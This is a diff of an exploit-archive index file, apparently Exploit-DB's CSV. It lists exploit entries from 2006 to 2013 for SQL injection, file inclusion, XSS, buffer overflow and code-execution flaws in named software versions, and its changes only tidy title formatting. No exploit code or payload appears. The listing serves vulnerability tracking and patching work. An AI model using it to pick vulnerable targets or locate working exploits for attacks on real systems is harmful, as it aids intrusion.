 28306,platforms/php/webapps/28306.txt,"Banex PHP MySQL Banner Exchange 2.21 signup.php site_name Parameter SQL Injection",2006-07-31,SirDarckCat,php,webapps,0
 28307,platforms/php/webapps/28307.txt,"Banex PHP MySQL Banner Exchange 2.21 admin.php Multiple Parameter SQL Injection",2006-07-31,SirDarckCat,php,webapps,0
 28308,platforms/php/webapps/28308.txt,"Banex PHP MySQL Banner Exchange 2.21 members.php cfg_root Parameter Remote File Inclusion",2006-07-31,SirDarckCat,php,webapps,0
-28309,platforms/php/webapps/28309.txt,"Seir Anphin V666 Community Management System Multiple SQL Injection Vulnerabilities",2006-07-31,CR,php,webapps,0
+28309,platforms/php/webapps/28309.txt,"Seir Anphin V666 Community Management System - Multiple SQL Injection Vulnerabilities",2006-07-31,CR,php,webapps,0
 28310,platforms/php/webapps/28310.txt,"Moskool 1.5 Component Admin.Moskool.PHP Remote File Include Vulnerability",2006-07-31,saudi.unix,php,webapps,0
 28311,platforms/php/webapps/28311.txt,"myEvent 1.2/1.3 Myevent.PHP Remote File Include Vulnerability",2006-07-31,CeNGiZ-HaN,php,webapps,0
 28312,platforms/multiple/remote/28312.txt,"VMware ESX 2.x Multiple Information Disclosure Vulnerabilities",2006-07-31,"Stephen de Vries",multiple,remote,0
@@ -25709,7 +25709,7 @@ id,file,description,date,author,platform,type,port
 28683,platforms/linux/dos/28683.txt,"HylaFAX+ 5.2.4 - 5.5.3 - Buffer Overflow",2013-10-02,"Dennis Jenkins",linux,dos,0
 28684,platforms/php/webapps/28684.txt,"Gnew 2013.1 - Multiple Vulnerabilities",2013-10-02,"High-Tech Bridge SA",php,webapps,80
 28685,platforms/php/webapps/28685.txt,"GLPI 0.84.1 - Multiple Vulnerabilities",2013-10-02,"High-Tech Bridge SA",php,webapps,0
-28686,platforms/php/webapps/28686.txt,"My-BIC 0.6.5 Mybic_Server.PHP Remote File Include Vulnerability",2006-09-25,Root3r_H3ll,php,webapps,0
+28686,platforms/php/webapps/28686.txt,"My-BIC 0.6.5 - Mybic_Server.PHP Remote File Include Vulnerability",2006-09-25,Root3r_H3ll,php,webapps,0
 28687,platforms/php/webapps/28687.txt,"php_news 2.0 user_user.php language Parameter Remote File Inclusion",2006-09-25,Root3r_H3ll,php,webapps,0
 28688,platforms/php/webapps/28688.txt,"php_news 2.0 admin/news.php language Parameter Remote File Inclusion",2006-09-25,Root3r_H3ll,php,webapps,0
 28689,platforms/php/webapps/28689.txt,"php_news 2.0 admin/catagory.php language Parameter Remote File Inclusion",2006-09-25,Root3r_H3ll,php,webapps,0
@@ -25744,7 +25744,7 @@ id,file,description,date,author,platform,type,port
 28723,platforms/php/webapps/28723.txt,"Aanval 7.1 build 70151 - Multiple Vulnerabilities",2013-10-04,xistence,php,webapps,80
 28724,platforms/windows/remote/28724.rb,"SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution",2013-10-04,metasploit,windows,remote,0
 28725,platforms/multiple/remote/28725.txt,"SAP Internet Transaction Server 6.10/6.20 Cross-Site Scripting Vulnerability",2006-09-28,"ILION Research",multiple,remote,0
-28726,platforms/multiple/dos/28726.pl,"OpenSSL SSLv2 Null Pointer Dereference Client Denial of Service Vulnerability",2006-09-28,"Noam Rathaus",multiple,dos,0
+28726,platforms/multiple/dos/28726.pl,"OpenSSL SSLv2 - Null Pointer Dereference Client Denial of Service Vulnerability",2006-09-28,"Noam Rathaus",multiple,dos,0
 28727,platforms/php/webapps/28727.txt,"Les Visiteurs 2.0 Multiple Remote File Include Vulnerabilities",2006-09-28,D_7J,php,webapps,0
 28728,platforms/php/webapps/28728.txt,"Geotarget Script.PHP Remote File Include Vulnerability",2006-09-29,"RaVeR shi mozi",php,webapps,0
 28729,platforms/php/webapps/28729.txt,"PhpBB XS 0.58 Multiple Remote File Include Vulnerabilities",2006-09-30,xoron,php,webapps,0
@@ -25990,11 +25990,11 @@ id,file,description,date,author,platform,type,port
 28972,platforms/unix/webapps/28972.rb,"Zabbix 2.0.8 SQL Injection and Remote Code Execution",2013-10-15,"Jason Kratzer",unix,webapps,0
 28973,platforms/windows/remote/28973.rb,"HP Data Protector Cell Request Service Buffer Overflow",2013-10-15,metasploit,windows,remote,0
 28974,platforms/windows/remote/28974.rb,"MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free",2013-10-15,metasploit,windows,remote,0
-28975,platforms/hardware/webapps/28975.txt,"My File Explorer v1.3.1 iOS - Multiple Web Vulnerabilities",2013-10-15,Vulnerability-Lab,hardware,webapps,0
+28975,platforms/hardware/webapps/28975.txt,"My File Explorer 1.3.1 iOS - Multiple Web Vulnerabilities",2013-10-15,Vulnerability-Lab,hardware,webapps,0
 28976,platforms/hardware/webapps/28976.txt,"OliveOffice Mobile Suite 2.0.3 iOS - File Include Vulnerability",2013-10-15,Vulnerability-Lab,hardware,webapps,0
-28977,platforms/hardware/webapps/28977.txt,"UbiDisk File Manager v2.0 iOS - Multiple Web Vulnerabilities",2013-10-15,Vulnerability-Lab,hardware,webapps,0
+28977,platforms/hardware/webapps/28977.txt,"UbiDisk File Manager 2.0 iOS - Multiple Web Vulnerabilities",2013-10-15,Vulnerability-Lab,hardware,webapps,0
 28978,platforms/hardware/webapps/28978.txt,"Apple iOS 7.0.2 - Sim Lock Screen Display Bypass Vulnerability",2013-10-15,Vulnerability-Lab,hardware,webapps,0
-28979,platforms/linux/webapps/28979.txt,"DornCMS Application v1.4 - Multiple Web Vulnerabilities",2013-10-15,Vulnerability-Lab,linux,webapps,0
+28979,platforms/linux/webapps/28979.txt,"DornCMS Application 1.4 - Multiple Web Vulnerabilities",2013-10-15,Vulnerability-Lab,linux,webapps,0
 28980,platforms/php/webapps/28980.txt,"WordPress 2.0.5 Functions.PHP Remote File Include Vulnerability",2006-11-11,_ANtrAX_,php,webapps,0
 28981,platforms/multiple/remote/28981.txt,"IBM WebSphere 6.0 Faultactor Cross-Site Scripting Vulnerability",2006-11-13,"Nuri Fattah",multiple,remote,0
 28982,platforms/php/webapps/28982.txt,"cPanel 10 seldir.html dir Parameter XSS",2006-11-13,"Aria-Security Team",php,webapps,0
@@ -26167,10 +26167,10 @@ id,file,description,date,author,platform,type,port
 29160,platforms/linux/remote/29160.c,"GNU Tar 1.1x GNUTYPE_NAMES Remote Directory Traversal Vulnerability",2006-11-21,"Teemu Salmela",linux,remote,0
 29161,platforms/osx/dos/29161.txt,"Apple Mac OS X 10.4.8 UDTO Disk Image Remote Denial of Service Vulnerability",2006-11-21,LMH,osx,dos,0
 29162,platforms/php/webapps/29162.txt,"My Little Weblog 2006.11.21 0 Weblog.php Cross-Site Scripting Vulnerability",2006-11-21,the_Edit0r,php,webapps,0
-29164,platforms/windows/dos/29164.cpp,"FortKnox Personal Firewall 9.0.305.0 & 10.0.305.0 -  Kernel Driver (fortknoxfw.sys) Memory Corruption Vulnerability",2013-10-24,"Arash Allebrahim",windows,dos,0
+29164,platforms/windows/dos/29164.cpp,"FortKnox Personal Firewall 9.0.305.0 & 10.0.305.0 - Kernel Driver (fortknoxfw.sys) Memory Corruption Vulnerability",2013-10-24,"Arash Allebrahim",windows,dos,0
 29165,platforms/php/webapps/29165.txt,"PMOS Help Desk 2.3 ticketview.php Multiple Parameter XSS",2006-11-22,SwEET-DeViL,php,webapps,0
 29166,platforms/php/webapps/29166.txt,"PMOS Help Desk 2.3 ticket.php email Parameter XSS",2006-11-22,SwEET-DeViL,php,webapps,0
-29167,platforms/windows/remote/29167.rb,"NetGear WG311v1 Wireless Driver 2.3.1 10 SSID Heap Buffer Overflow Vulnerability",2006-11-22,"Laurent Butti",windows,remote,0
+29167,platforms/windows/remote/29167.rb,"NetGear WG311v1 Wireless Driver 2.3.1 - 10 SSID Heap Buffer Overflow Vulnerability",2006-11-22,"Laurent Butti",windows,remote,0
 29170,platforms/windows/dos/29170.c,"Nvidia NView 3.5 Keystone.EXE Local Denial of Service Vulnerability",2006-11-23,Hessam-x,windows,dos,0
 29171,platforms/windows/remote/29171.txt,"Business Objects Crystal Reports XI Professional File Handling Buffer Overflow Vulnerability",2006-11-23,LSsec.com,windows,remote,0
 29172,platforms/windows/dos/29172.txt,"Microsoft Office 97 HTMLMARQ.OCX Library Denial of Service Vulnerability",2006-11-22,"Michal Bucko",windows,dos,0
@@ -26304,7 +26304,7 @@ id,file,description,date,author,platform,type,port
 29312,platforms/hardware/webapps/29312.txt,"Unicorn Router WB-3300NR CSRF (Factory Reset/DNS Change)",2013-10-30,absane,hardware,webapps,0
 29313,platforms/php/webapps/29313.txt,"Xt-News 0.1 show_news.php id_news Parameter XSS",2006-12-22,Mr_KaLiMaN,php,webapps,0
 29314,platforms/php/webapps/29314.txt,"Xt-News 0.1 show_news.php id_news Parameter SQL Injection",2006-12-22,Mr_KaLiMaN,php,webapps,0
-29316,platforms/php/remote/29316.py,"Apache + PHP 5.x - Remote Code Execution (Multithreaded Scanner v2)",2013-10-31,noptrix,php,remote,0
+29316,platforms/php/remote/29316.py,"Apache + PHP 5.x - Remote Code Execution (Multithreaded Scanner) (2)",2013-10-31,noptrix,php,remote,0
 29318,platforms/php/webapps/29318.txt,"ImpressPages CMS 3.6 - Multiple XSS/SQLi Vulnerabilities",2013-10-31,LiquidWorm,php,webapps,0
 29319,platforms/php/remote/29319.rb,"vTigerCRM 5.3.0 5.4.0 - Authenticated Remote Code Execution",2013-10-31,metasploit,php,remote,80
 29320,platforms/php/remote/29320.rb,"NAS4Free - Arbitrary Remote Code Execution",2013-10-31,metasploit,php,remote,80
@@ -26315,9 +26315,9 @@ id,file,description,date,author,platform,type,port
 29325,platforms/php/remote/29325.rb,"ProcessMaker Open Source Authenticated PHP Code Execution",2013-10-31,metasploit,php,remote,80
 29326,platforms/php/webapps/29326.txt,"Opsview pre 4.4.1 - Blind SQL Injection",2013-10-31,"J. Oquendo",php,webapps,80
 29327,platforms/windows/local/29327.py,"Watermark Master 2.2.23 - Buffer Overflow (SEH)",2013-11-01,metacom,windows,local,0
-29328,platforms/php/webapps/29328.txt,"ImpressPages CMS v3.6 Remote Arbitrary File Deletion Vulnerability",2013-11-01,LiquidWorm,php,webapps,0
+29328,platforms/php/webapps/29328.txt,"ImpressPages CMS 3.6 - Remote Arbitrary File Deletion Vulnerability",2013-11-01,LiquidWorm,php,webapps,0
 29330,platforms/php/webapps/29330.txt,"WordPress Switchblade Themes Arbitrary File Upload Vulnerability",2013-11-01,"Byakuya Kouta",php,webapps,0
-29331,platforms/php/webapps/29331.txt,"ImpressPages CMS v3.6 manage() Function Remote Code Execution Exploit",2013-11-01,LiquidWorm,php,webapps,0
+29331,platforms/php/webapps/29331.txt,"ImpressPages CMS 3.6 - manage() Function Remote Code Execution Exploit",2013-11-01,LiquidWorm,php,webapps,0
 29332,platforms/php/webapps/29332.txt,"WordPress Think Responsive Themes Arbitrary File Upload Vulnerability",2013-11-01,"Byakuya Kouta",php,webapps,0
 29333,platforms/asp/webapps/29333.txt,"Efkan Forum 1.0 Grup Variable SQL Injection Vulnerability",2006-12-22,ShaFuq31,asp,webapps,0
 29334,platforms/cfm/webapps/29334.txt,"Future Internet index.cfm Multiple Parameter SQL Injection",2006-12-23,Linux_Drox,cfm,webapps,0
@@ -26432,7 +26432,7 @@ id,file,description,date,author,platform,type,port
 29447,platforms/windows/dos/29447.txt,"WinZip 9.0 Command Line Remote Buffer Overflow Vulnerability",2007-01-12,"Umesh Wanve",windows,dos,0
 29448,platforms/osx/remote/29448.txt,"Apple Mac OS X 10.4.8 - DMG UFS Byte_Swap_Sbin() Integer Overflow Vulnerability",2007-01-12,LMH,osx,remote,0
 29449,platforms/multiple/remote/29449.html,"Oracle ORADC ActiveX Control Remote Code Execution Vulnerability",2007-01-12,"Umesh Wanve",multiple,remote,0
-29450,platforms/php/webapps/29450.txt,"Ezboxx  0.7.6 Beta Multiple Input Validation Vulnerabilities",2007-01-12,"Doron P",php,webapps,0
+29450,platforms/php/webapps/29450.txt,"Ezboxx 0.7.6 Beta Multiple Input Validation Vulnerabilities",2007-01-12,"Doron P",php,webapps,0
 29451,platforms/php/webapps/29451.txt,"All In One Control Panel 1.3.x cp_downloads.php did Parameter SQL Injection",2007-01-12,Coloss,php,webapps,0
 29452,platforms/osx/dos/29452.txt,"Apple Mac OS X 10.4.8 - DMG UFS UFS_LookUp Denial Of Service Vulnerability",2007-01-13,LMH,osx,dos,0
 29453,platforms/php/webapps/29453.php,"PHP-Nuke 7.x Block-Old_Articles.PHP SQL Injection Vulnerability",2007-01-13,Paisterist,php,webapps,0
@@ -26485,7 +26485,7 @@ id,file,description,date,author,platform,type,port
 29506,platforms/php/webapps/29506.txt,"Bitweaver 1.3.1 Articles and Blogs Multiple Cross-Site Scripting Vulnerabilities",2007-01-22,CorryL,php,webapps,0
 29507,platforms/php/webapps/29507.txt,"212Cafe Guestbook 4.00 Show.PHP Cross-Site Scripting Vulnerability",2007-01-22,Linux_Drox,php,webapps,0
 29508,platforms/php/webapps/29508.sh,"Vote! Pro 4.0 Multiple PHP Code Execution Vulnerabilities",2007-01-23,r0ut3r,php,webapps,0
-29509,platforms/osx/dos/29509.txt,"Apple Mac OS X 10.4.8  - QuickDraw GetSrcBits32ARGB Remote Memory Corruption Vulnerability",2007-01-23,LMH,osx,dos,0
+29509,platforms/osx/dos/29509.txt,"Apple Mac OS X 10.4.8 - QuickDraw GetSrcBits32ARGB Remote Memory Corruption Vulnerability",2007-01-23,LMH,osx,dos,0
 29512,platforms/php/webapps/29512.txt,"Vanilla Forums 2.0 - 2.0.18.5 (class.utilitycontroller.php) - PHP Object Injection Vulnerability",2013-11-08,EgiX,php,webapps,80
 29513,platforms/linux/remote/29513.rb,"VICIdial Manager Send OS Command Injection",2013-11-08,metasploit,linux,remote,80
 29514,platforms/php/webapps/29514.txt,"appRain 3.0.2 - Blind SQL Injection Vulnerability",2013-11-08,"High-Tech Bridge SA",php,webapps,80
@@ -26563,7 +26563,7 @@ id,file,description,date,author,platform,type,port
 29591,platforms/php/webapps/29591.txt,"Tagit! Tagit2b 2.1.B Build 2 tagmin/updateconf.php admin Parameter Remote File Inclusion",2007-02-12,K-159,php,webapps,0
 29592,platforms/php/webapps/29592.txt,"Tagit! Tagit2b 2.1.B Build 2 tagmin/updatefilter.php admin Parameter Remote File Inclusion",2007-02-12,K-159,php,webapps,0
 29593,platforms/php/webapps/29593.txt,"Tagit! Tagit2b 2.1.B Build 2 tagmin/wordfilter.php admin Parameter Remote File Inclusion",2007-02-12,K-159,php,webapps,0
-29594,platforms/windows/local/29594.txt,"Watermark Master v2.2.23 .wstyle - Buffer Overflow (SEH)",2013-11-14,"Mike Czumak",windows,local,0
+29594,platforms/windows/local/29594.txt,"Watermark Master 2.2.23 .wstyle - Buffer Overflow (SEH)",2013-11-14,"Mike Czumak",windows,local,0
 29595,platforms/linux/remote/29595.txt,"PHP RRD Browser 0.2 P Parameter Directory Traversal Vulnerability",2007-02-12,"Sebastian Wolfgarten",linux,remote,0
 29596,platforms/asp/webapps/29596.txt,"EWay 4 Default.APSX Cross-Site Scripting Vulnerability",2007-02-12,"BLacK ZeRo",asp,webapps,0
 29597,platforms/asp/webapps/29597.txt,"Community Server SearchResults.ASPX Cross-Site Scripting Vulnerability",2007-02-12,BL4CK,asp,webapps,0
@@ -26582,7 +26582,7 @@ id,file,description,date,author,platform,type,port
 29610,platforms/php/webapps/29610.txt,"Ezboo Webstats 3.03 Administrative Authentication Bypass Vulnerability",2007-02-16,sn0oPy,php,webapps,0
 29611,platforms/asp/webapps/29611.txt,"Turuncu Portal 1.0 H_Goster.ASP SQL Injection Vulnerability",2007-02-16,chernobiLe,asp,webapps,0
 29612,platforms/hardware/webapps/29612.txt,"WBR-3406 Wireless Broadband NAT Router Web-Console - Password Change Bypass & CSRF Vulnerability",2013-11-15,"Yakir Wizman",hardware,webapps,0
-29613,platforms/windows/dos/29613.txt,"CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow",2013-11-15,"Mike Czumak",windows,dos,0
+29613,platforms/windows/dos/29613.txt,"CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow",2013-11-15,"Mike Czumak",windows,dos,0
 29614,platforms/osx/remote/29614.xml,"Parallels Drag and Drop Hidden Share Vulnerability",2007-02-16,"Rich Mogull",osx,remote,0
 29615,platforms/php/webapps/29615.txt,"Powerschool 4.3.6/5.1.2 Javascript File Request Information Disclosure Vulnerability",2007-02-19,gheetotank,php,webapps,0
 29616,platforms/osx/dos/29616.xml,"Apple iTunes 7.0.2 XML Parsing Remote Denial of Service Vulnerability",2007-02-19,poplix,osx,dos,0
@@ -26600,7 +26600,7 @@ id,file,description,date,author,platform,type,port
 29628,platforms/php/webapps/29628.txt,"Magic News Plus 1.0.2 news.php link_parameters Parameter XSS",2007-02-21,"HACKERS PAL",php,webapps,0
 29629,platforms/php/webapps/29629.txt,"Magic News Plus 1.0.2 n_layouts.php link_parameters Parameter XSS",2007-02-21,"HACKERS PAL",php,webapps,0
 29630,platforms/windows/local/29630.c,"Microsoft Windows 2003/XP ReadDirectoryChangesW Information Disclosure Vulnerability",2007-02-22,3APA3A,windows,local,0
-29631,platforms/php/webapps/29631.txt,"Pyrophobia  2.1.3.1 modules/out.php id Parameter XSS",2007-02-22,"Laurent Gaffie",php,webapps,0
+29631,platforms/php/webapps/29631.txt,"Pyrophobia 2.1.3.1 modules/out.php id Parameter XSS",2007-02-22,"Laurent Gaffie",php,webapps,0
 29632,platforms/php/webapps/29632.txt,"Pyrophobia 2.1.3.1 admin/index.php Multiple Parameter Traversal Arbitrary File Access",2007-02-22,"Laurent Gaffie",php,webapps,0
 29633,platforms/hardware/webapps/29633.txt,"Google Gmail IOS Mobile Application - Persistent / Stored XSS",2013-11-16,"Ali Raza",hardware,webapps,0
 29634,platforms/php/webapps/29634.txt,"Plantilla list_main_pages.php nfolder Parameter Traversal Arbitrary File Access",2007-02-22,"Laurent Gaffie",php,webapps,0
@@ -26637,9 +26637,9 @@ id,file,description,date,author,platform,type,port
 29669,platforms/php/webapps/29669.txt,"Wordpress Amplus Theme - CSRF Vulnerability",2013-11-18,DevilScreaM,php,webapps,80
 29670,platforms/php/webapps/29670.txt,"Wordpress Make A Statement (MaS) Theme - CSRF Vulnerability",2013-11-18,DevilScreaM,php,webapps,80
 29671,platforms/windows/dos/29671.txt,"Avira Secure Backup 1.0.0.1 Build 3616 (.reg) - Buffer Overflow",2013-11-18,"Julien Ahrens",windows,dos,0
-29672,platforms/php/webapps/29672.txt,"LiveZilla version 5.0.1.4 - Remote Code Execution",2013-11-18,"Curesec Research Team",php,webapps,80
+29672,platforms/php/webapps/29672.txt,"LiveZilla 5.0.1.4 - Remote Code Execution",2013-11-18,"Curesec Research Team",php,webapps,80
 29673,platforms/hardware/webapps/29673.txt,"Dahua DVR 2.608.0000.0 and 2.608.GV00.0 - Authentication Bypass",2013-11-18,"Jake Reynolds",hardware,webapps,37777
-29674,platforms/jsp/webapps/29674.txt,"ManageEngine  DesktopCentral 8.0.0 build < 80293 - Arbitrary File Upload Vulnerability",2013-11-18,Security-Assessment.com,jsp,webapps,0
+29674,platforms/jsp/webapps/29674.txt,"ManageEngine DesktopCentral 8.0.0 build < 80293 - Arbitrary File Upload Vulnerability",2013-11-18,Security-Assessment.com,jsp,webapps,0
 29675,platforms/asp/webapps/29675.txt,"Kaseya < 6.3.0.2 - Arbitrary File Upload Vulnerability",2013-11-18,Security-Assessment.com,asp,webapps,0
 29676,platforms/php/webapps/29676.txt,"Audins Audiens 3.3 unistall.php Authentication Bypass",2007-02-26,R00t[ATI],php,webapps,0
 29677,platforms/php/webapps/29677.txt,"Audins Audiens 3.3 setup.php PATH_INFO Parameter XSS",2007-02-26,R00t[ATI],php,webapps,0
@@ -26686,7 +26686,7 @@ id,file,description,date,author,platform,type,port
 29722,platforms/php/webapps/29722.txt,"JCCorp URLShrink Free 1.3.1 CreateURL.PHP Remote File Include Vulnerability",2007-03-09,"Hasadya Raed",php,webapps,0
 29723,platforms/linux/dos/29723.txt,"Mozilla Firefox 2.0.0.2 - Unspecified GIF Handling Denial of Service Vulnerability",2007-03-09,Samuel,linux,dos,0
 29724,platforms/linux/dos/29724.txt,"MySQL 5.0.x Single Row SubSelect Remote Denial Of Service Vulnerability",2007-03-09,S.Streichsbier,linux,dos,0
-29725,platforms/openbsd/remote/29725.py,"OpenBSD 3.x/4.x ICMPV6 Packet Handling Remote Buffer Overflow Vulnerability",2007-03-09,"Alfredo Ortega",openbsd,remote,0
+29725,platforms/openbsd/remote/29725.py,"OpenBSD 3.x/4.x - ICMPv6 Packet Handling Remote Buffer Overflow Vulnerability",2007-03-09,"Alfredo Ortega",openbsd,remote,0
 29726,platforms/asp/webapps/29726.pl,"Duyuru Scripti Goster.ASP SQL injection Vulnerability",2007-03-09,Cr@zy_King,asp,webapps,0
 29727,platforms/php/webapps/29727.txt,"Premod SubDog 2 includes/functions_kb.php phpbb_root_path Parameter Remote File Inclusion",2007-03-10,"Hasadya Raed",php,webapps,0
 29728,platforms/php/webapps/29728.txt,"Premod SubDog 2 includes/themen_portal_mitte.php phpbb_root_path Parameter Remote File Inclusion",2007-03-10,"Hasadya Raed",php,webapps,0
@@ -26740,7 +26740,7 @@ id,file,description,date,author,platform,type,port
 29776,platforms/php/webapps/29776.txt,"CcCounter 2.0 Index.PHP Cross-Site Scripting Vulnerability",2007-03-26,Crackers_Child,php,webapps,0
 29777,platforms/windows/local/29777.pl,"Light Alloy 4.7.3 (.m3u) - SEH Buffer Overflow (Unicode)",2013-11-22,"Mike Czumak",windows,local,0
 29780,platforms/php/webapps/29780.txt,"Mephisto Blog 0.7.3 Search Function Cross-Site Scripting Vulnerability",2007-03-26,The[Boss],php,webapps,0
-29781,platforms/linux/local/29781.c,"Linux Kernel 2.6.x IPV6_SockGlue.c NULL Pointer Dereference Vulnerability",2007-03-26,"Joey Mengele",linux,local,0
+29781,platforms/linux/local/29781.c,"Linux Kernel 2.6.x - IPv6_SockGlue.c NULL Pointer Dereference Vulnerability",2007-03-26,"Joey Mengele",linux,local,0
 29782,platforms/php/webapps/29782.txt,"Satel Lite Satellite.PHP Local File Include Vulnerability",2007-11-26,rUnViRuS,php,webapps,0
 29783,platforms/php/webapps/29783.txt,"Fizzle 0.5 RSS Feed HTML Injection Vulnerability",2007-03-26,"CrYpTiC MauleR",php,webapps,0
 29784,platforms/php/remote/29784.php,"PHP <= 5.2.1 Folded Mail Headers Email Header Injection Vulnerability",2007-11-26,"Stefan Esser",php,remote,0
@@ -26791,7 +26791,7 @@ id,file,description,date,author,platform,type,port
 29830,platforms/php/webapps/29830.txt,"MyNews 4.2.2 Week_Events.PHP Remote File Include Vulnerability",2007-04-10,hackberry,php,webapps,0
 29831,platforms/php/webapps/29831.txt,"DropAFew 0.2 newaccount2.php Arbitrary Account Creation",2007-04-10,"Alexander Klink",php,webapps,0
 29832,platforms/php/webapps/29832.txt,"DropAFew 0.2 search.php delete Action id Parameter SQL Injection",2007-04-10,"Alexander Klink",php,webapps,0
-29833,platforms/php/webapps/29833.txt,"DropAFew 0.2  editlogcal.php save Action calories Parameter SQL Injection",2007-04-10,"Alexander Klink",php,webapps,0
+29833,platforms/php/webapps/29833.txt,"DropAFew 0.2 editlogcal.php save Action calories Parameter SQL Injection",2007-04-10,"Alexander Klink",php,webapps,0
 29834,platforms/php/webapps/29834.txt,"WordPress dzs-videogallery Plugins Remote File Upload Vulnerability",2013-11-26,link_satisi,php,webapps,0
 29838,platforms/php/webapps/29838.txt,"DotClear 1.2.x /ecrire/trackback.php post_id Parameter XSS",2007-04-11,nassim,php,webapps,0
 29839,platforms/php/webapps/29839.txt,"DotClear 1.2.x /tools/thememng/index.php tool_url Parameter XSS",2007-04-11,nassim,php,webapps,0
@@ -26824,7 +26824,7 @@ id,file,description,date,author,platform,type,port
 29867,platforms/windows/dos/29867.xml,"NetSprint Ask IE Toolbar 1.1 Multiple Denial of Service Vulnerabilities",2007-04-17,"Michal Bucko",windows,dos,0
 29868,platforms/php/webapps/29868.txt,"NuclearBB Alpha 1 Multiple SQL Injection Vulnerabilities",2007-04-18,"John Martinelli",php,webapps,0
 29869,platforms/php/webapps/29869.php,"Fully Modded PHPBB2 PHPBB_Root_Path Remote File Include Vulnerability",2007-04-19,"HACKERS PAL",php,webapps,0
-29870,platforms/php/webapps/29870.txt,"Exponent CMS  0.96.5/ 0.96.6 magpie_debug.php url Parameter XSS",2007-04-20,"Hamid Ebadi",php,webapps,0
+29870,platforms/php/webapps/29870.txt,"Exponent CMS 0.96.5/ 0.96.6 magpie_debug.php url Parameter XSS",2007-04-20,"Hamid Ebadi",php,webapps,0
 29871,platforms/php/webapps/29871.txt,"Exponent CMS 0.96.5/ 0.96.6 magpie_slashbox.php rss_url Parameter XSS",2007-04-20,"Hamid Ebadi",php,webapps,0
 29872,platforms/php/webapps/29872.txt,"Exponent CMS 0.96.5/ 0.96.6 iconspopup.php icodir Variable Traversal Arbitrary Directory Listing",2007-04-20,"Hamid Ebadi",php,webapps,0
 29873,platforms/multiple/remote/29873.php,"FreePBX 2.2 SIP Packet Multiple HTML Injection Vulnerabilities",2007-04-20,XenoMuta,multiple,remote,0
@@ -26846,7 +26846,7 @@ id,file,description,date,author,platform,type,port
 29889,platforms/php/webapps/29889.txt,"Phorum 5.1.20 include/controlcenter/users.php Multiple Method Remote Privilege Escalation",2007-04-23,"Janek Vind",php,webapps,0
 29890,platforms/php/webapps/29890.txt,"Phorum 5.1.20 admin.php module[] Variable Path Disclosure",2007-04-23,"Janek Vind",php,webapps,0
 29891,platforms/php/webapps/29891.txt,"Phorum 5.1.20 include/admin/banlist.php delete Parameter CSRF Banlist Deletion",2007-04-23,"Janek Vind",php,webapps,0
-29892,platforms/php/webapps/29892.html,"Phorum 5.1.20  pm.php Recipient Name SQL Injection",2007-04-23,"Janek Vind",php,webapps,0
+29892,platforms/php/webapps/29892.html,"Phorum 5.1.20 pm.php Recipient Name SQL Injection",2007-04-23,"Janek Vind",php,webapps,0
 29893,platforms/php/webapps/29893.txt,"Phorum 5.1.20 admin.php badwords/banlist Module SQL Injection",2007-04-23,"Janek Vind",php,webapps,0
 29894,platforms/php/webapps/29894.txt,"Phorum 5.1.20 admin.php Groups Module Edit/Add Group Field SQL Injection",2007-04-23,"Janek Vind",php,webapps,0
 29895,platforms/php/webapps/29895.txt,"phpMyAdmin <= 2.9.1 Multiple Cross-Site Scripting Vulnerabilities",2007-04-24,sp3x@securityreason.com,php,webapps,0
@@ -26873,7 +26873,7 @@ id,file,description,date,author,platform,type,port
 29916,platforms/linux/dos/29916.c,"Linux Kernel 2.6.x NETLINK_FIB_LOOKUP Local Denial of Service Vulnerability",2007-04-26,"Alexey Kuznetsov",linux,dos,0
 29917,platforms/php/webapps/29917.php,"FlashComs Chat <= 6.5 - Arbitrary File Upload Vulnerability",2013-11-30,"Miya Chung",php,webapps,0
 29918,platforms/java/webapps/29918.txt,"Ametys CMS 3.5.2 - (lang parameter) XPath Injection Vulnerability",2013-11-30,LiquidWorm,java,webapps,0
-29919,platforms/hardware/dos/29919.py,"TP-Link TL-WR740N / TL-WR740ND  - 150M Wireless Lite N Router HTTP DoS",2013-11-30,"Dino Causevic",hardware,dos,0
+29919,platforms/hardware/dos/29919.py,"TP-Link TL-WR740N / TL-WR740ND - 150M Wireless Lite N Router HTTP DoS",2013-11-30,"Dino Causevic",hardware,dos,0
 29920,platforms/linux/dos/29920.py,"Uptime Agent 5.0.1 - Stack Overflow Vulnerability",2013-11-30,"Denis Andzakovic",linux,dos,0
 29921,platforms/php/webapps/29921.py,"Zend-Framework - Full Info Disclosure",2013-11-30,"Ariel Orellana",php,webapps,0
 29922,platforms/windows/local/29922.py,"Kingsoft Office Writer 2012 8.1.0.3385 - (.wps) Buffer Overflow Exploit (SEH)",2013-11-30,"Julien Ahrens",windows,local,0
@@ -26903,7 +26903,7 @@ id,file,description,date,author,platform,type,port
 29950,platforms/osx/local/29950.js,"Apple <= 2.0.4 Safari Unspecified Local Vulnerability",2007-05-04,poplix,osx,local,0
 29951,platforms/windows/remote/29951.txt,"Microsoft SharePoint Server 3.0 Cross-Site Scripting Vulnerability",2007-05-04,Solarius,windows,remote,0
 29952,platforms/windows/remote/29952.html,"Sienzo Digital Music Mentor DSKernel2.DLL ActiveX Control Stack Buffer Overflow Vulnerabilities",2007-05-07,shinnai,windows,remote,0
-29953,platforms/php/webapps/29953.txt,"PHP Content Architect  0.9 pre 1.2 MFA_Theme.PHP Remote File Include Vulnerability",2007-05-07,kezzap66345,php,webapps,0
+29953,platforms/php/webapps/29953.txt,"PHP Content Architect 0.9 pre 1.2 MFA_Theme.PHP Remote File Include Vulnerability",2007-05-07,kezzap66345,php,webapps,0
 29954,platforms/linux/local/29954.txt,"ELinks Relative 0.10.6 /011.1 Path Arbitrary Code Execution Vulnerability",2007-05-07,"Arnaud Giersch",linux,local,0
 29955,platforms/php/webapps/29955.txt,"WF-Quote 1.0 Xoops Module Index.PHP SQL Injection Vulnerability",2007-05-07,Bulan,php,webapps,0
 29956,platforms/php/webapps/29956.txt,"ObieWebsite Mini Web Shop 2 order_form.php PATH_INFO Parameter XSS",2007-05-02,CorryL,php,webapps,0
@@ -26958,9 +26958,94 @@ id,file,description,date,author,platform,type,port
 30006,platforms/php/webapps/30006.txt,"Campsite 2.6.1 LocalizerLanguage.php g_documentRoot Parameter Remote File Inclusion",2007-05-08,Anonymous,php,webapps,0
 30007,platforms/windows/local/30007.txt,"Notepad++ Plugin Notepad# 1.5 - Local Exploit",2013-12-03,"Junwen Sun",windows,local,0
 30008,platforms/java/remote/30008.rb,"Cisco Prime Data Center Network Manager Arbitrary File Upload",2013-12-03,metasploit,java,remote,0
